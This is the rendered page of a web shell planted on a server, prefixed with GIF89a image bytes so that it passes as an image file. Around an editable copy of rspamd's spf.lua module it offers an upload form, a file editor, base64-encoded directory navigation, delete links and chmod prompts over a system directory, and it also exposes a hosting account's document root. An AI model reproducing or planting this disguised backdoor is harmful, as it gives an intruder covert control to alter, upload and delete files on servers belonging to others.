GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>spf.lua<form method=post action="?d=L3Vzci9zaGFyZS9yc3BhbWQvbHVhbGliL2x1YV9mZmk%3D&f=c3BmLmx1YQ%3D%3D"><input name="f" value="spf.lua"><textarea name="t">--[[
Copyright (c) 2022, Vsevolod Stakhov &lt;vsevolod@rspamd.com&gt;

Licensed under the Apache License, Version 2.0 (the &quot;License&quot;);
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

    http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an &quot;AS IS&quot; BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
]]--

--[[[
-- @module lua_ffi/spf
-- This module contains ffi interfaces to SPF
--]]

local ffi = require 'ffi'

ffi.cdef [[
enum spf_mech_e {
	SPF_FAIL,
	SPF_SOFT_FAIL,
	SPF_PASS,
	SPF_NEUTRAL
};
static const unsigned RSPAMD_SPF_FLAG_IPV6 = (1 &lt;&lt; 0);
static const unsigned RSPAMD_SPF_FLAG_IPV4 = (1 &lt;&lt; 1);
static const unsigned RSPAMD_SPF_FLAG_ANY = (1 &lt;&lt; 3);
struct spf_addr {
	unsigned char addr6[16];
	unsigned char addr4[4];
	union {
		struct {
			uint16_t mask_v4;
			uint16_t mask_v6;
		} dual;
		uint32_t idx;
	} m;
	unsigned flags;
	enum spf_mech_e mech;
	char *spf_string;
	struct spf_addr *prev, *next;
};

struct spf_resolved {
	char *domain;
	unsigned ttl;
	int temp_failed;
	int na;
	int perm_failed;
	uint64_t digest;
	struct GArray *elts;
	struct ref_entry_s ref;
};

typedef void (*spf_cb_t)(struct spf_resolved *record,
		struct rspamd_task *task, void *data);
struct rspamd_task;
int rspamd_spf_resolve(struct rspamd_task *task, spf_cb_t callback,
		void *cbdata);
const char * rspamd_spf_get_domain (struct rspamd_task *task);
struct spf_resolved * spf_record_ref (struct spf_resolved *rec);
void spf_record_unref (struct spf_resolved *rec);
char * spf_addr_mask_to_string (struct spf_addr *addr);
struct spf_addr * spf_addr_match_task (struct rspamd_task *task, struct spf_resolved *rec);
]]

local function convert_mech(mech)
  if mech == ffi.C.SPF_FAIL then
    return 'fail'
  elseif mech == ffi.C.SPF_SOFT_FAIL then
    return 'softfail'
  elseif mech == ffi.C.SPF_PASS then
    return 'pass'
  elseif mech == ffi.C.SPF_NEUTRAL then
    return 'neutral'
  end
end

local NULL = ffi.new 'void*'

local function spf_addr_tolua(ffi_spf_addr)
  local ipstr = ffi.C.spf_addr_mask_to_string(ffi_spf_addr)
  local ret = {
    res = convert_mech(ffi_spf_addr.mech),
    ipnet = ffi.string(ipstr),
  }

  if ffi_spf_addr.spf_string ~= NULL then
    ret.spf_str = ffi.string(ffi_spf_addr.spf_string)
  end

  ffi.C.g_free(ipstr)
  return ret
end

local function spf_resolve(task, cb)
  local function spf_cb(rec, _, _)
    if not rec then
      cb(false, 'record is empty')
    else
      local nelts = rec.elts.len
      local elts = ffi.cast(&quot;struct spf_addr *&quot;, rec.elts.data)
      local res = {
        addrs = {}
      }
      local digstr = ffi.new(&quot;char[64]&quot;)
      ffi.C.rspamd_snprintf(digstr, 64, &quot;0x%xuL&quot;, rec.digest)
      res.digest = ffi.string(digstr)
      for i = 1, nelts do
        res.addrs[i] = spf_addr_tolua(elts[i - 1])
      end

      local matched = ffi.C.spf_addr_match_task(task:topointer(), rec)

      if matched ~= NULL then
        cb(true, res, spf_addr_tolua(matched))
      else
        cb(true, res, nil)
      end
    end
  end

  local ret = ffi.C.rspamd_spf_resolve(task:topointer(), spf_cb, nil)

  if not ret then
    cb(false, 'cannot perform resolving')
  end
end

local function spf_unref(rec)
  ffi.C.spf_record_unref(rec)
end

return {
  spf_resolve = spf_resolve,
  spf_unref = spf_unref
}</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/share/rspamd/lualib/lua_ffi<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9yc3BhbWQvbHVhbGliL2x1YV9mZmk="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9yc3BhbWQvbHVhbGliL2x1YV9mZmk=&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9yc3BhbWQvbHVhbGli"/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9yc3BhbWQvbHVhbGliL2x1YV9mZmk=&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9yc3BhbWQvbHVhbGliL2x1YV9mZmk=&x=Y29tbW9uLmx1YQ==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9yc3BhbWQvbHVhbGliL2x1YV9mZmk=&f=Y29tbW9uLmx1YQ=="/>common.lua</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9yc3BhbWQvbHVhbGliL2x1YV9mZmk=&f=Y29tbW9uLmx1YQ==&c=`+btoa(c):0" value="0644"></td><td>1090</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9yc3BhbWQvbHVhbGliL2x1YV9mZmk=&x=ZGtpbS5sdWE=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9yc3BhbWQvbHVhbGliL2x1YV9mZmk=&f=ZGtpbS5sdWE="/>dkim.lua</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9yc3BhbWQvbHVhbGliL2x1YV9mZmk=&f=ZGtpbS5sdWE=&c=`+btoa(c):0" value="0644"></td><td>3989</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9yc3BhbWQvbHVhbGliL2x1YV9mZmk=&x=aW5pdC5sdWE=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9yc3BhbWQvbHVhbGliL2x1YV9mZmk=&f=aW5pdC5sdWE="/>init.lua</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9yc3BhbWQvbHVhbGliL2x1YV9mZmk=&f=aW5pdC5sdWE=&c=`+btoa(c):0" value="0644"></td><td>1413</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9yc3BhbWQvbHVhbGliL2x1YV9mZmk=&x=bGluYWxnLmx1YQ==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9yc3BhbWQvbHVhbGliL2x1YV9mZmk=&f=bGluYWxnLmx1YQ=="/>linalg.lua</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9yc3BhbWQvbHVhbGliL2x1YV9mZmk=&f=bGluYWxnLmx1YQ==&c=`+btoa(c):0" value="0644"></td><td>2145</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9yc3BhbWQvbHVhbGliL2x1YV9mZmk=&x=c3BmLmx1YQ==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9yc3BhbWQvbHVhbGliL2x1YV9mZmk=&f=c3BmLmx1YQ=="/>spf.lua</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9yc3BhbWQvbHVhbGliL2x1YV9mZmk=&f=c3BmLmx1YQ==&c=`+btoa(c):0" value="0644"></td><td>3543</td></tr></table>